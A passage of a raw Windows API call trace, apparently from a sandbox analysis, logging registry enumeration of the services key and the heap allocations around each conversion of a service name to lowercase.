lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.278] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.278] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.278] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0249.278] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.278] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.279] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.279] RegCloseKey (hKey=0x148) returned 0x0 [0249.279] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.279] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1bf8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.279] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.279] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1970, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0249.279] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.279] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.280] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1bf8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.280] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1970, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.280] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.280] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1bf8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.280] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.280] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.280] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.281] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.281] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.281] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.281] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0249.281] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.281] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.282] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1970, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.282] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.282] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.282] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.282] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.282] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.282] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.283] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1970, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.283] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.283] RegEnumKeyW (in: hKey=0x154, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.283] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0249.283] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0249.283] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.283] RtlFreeHeap 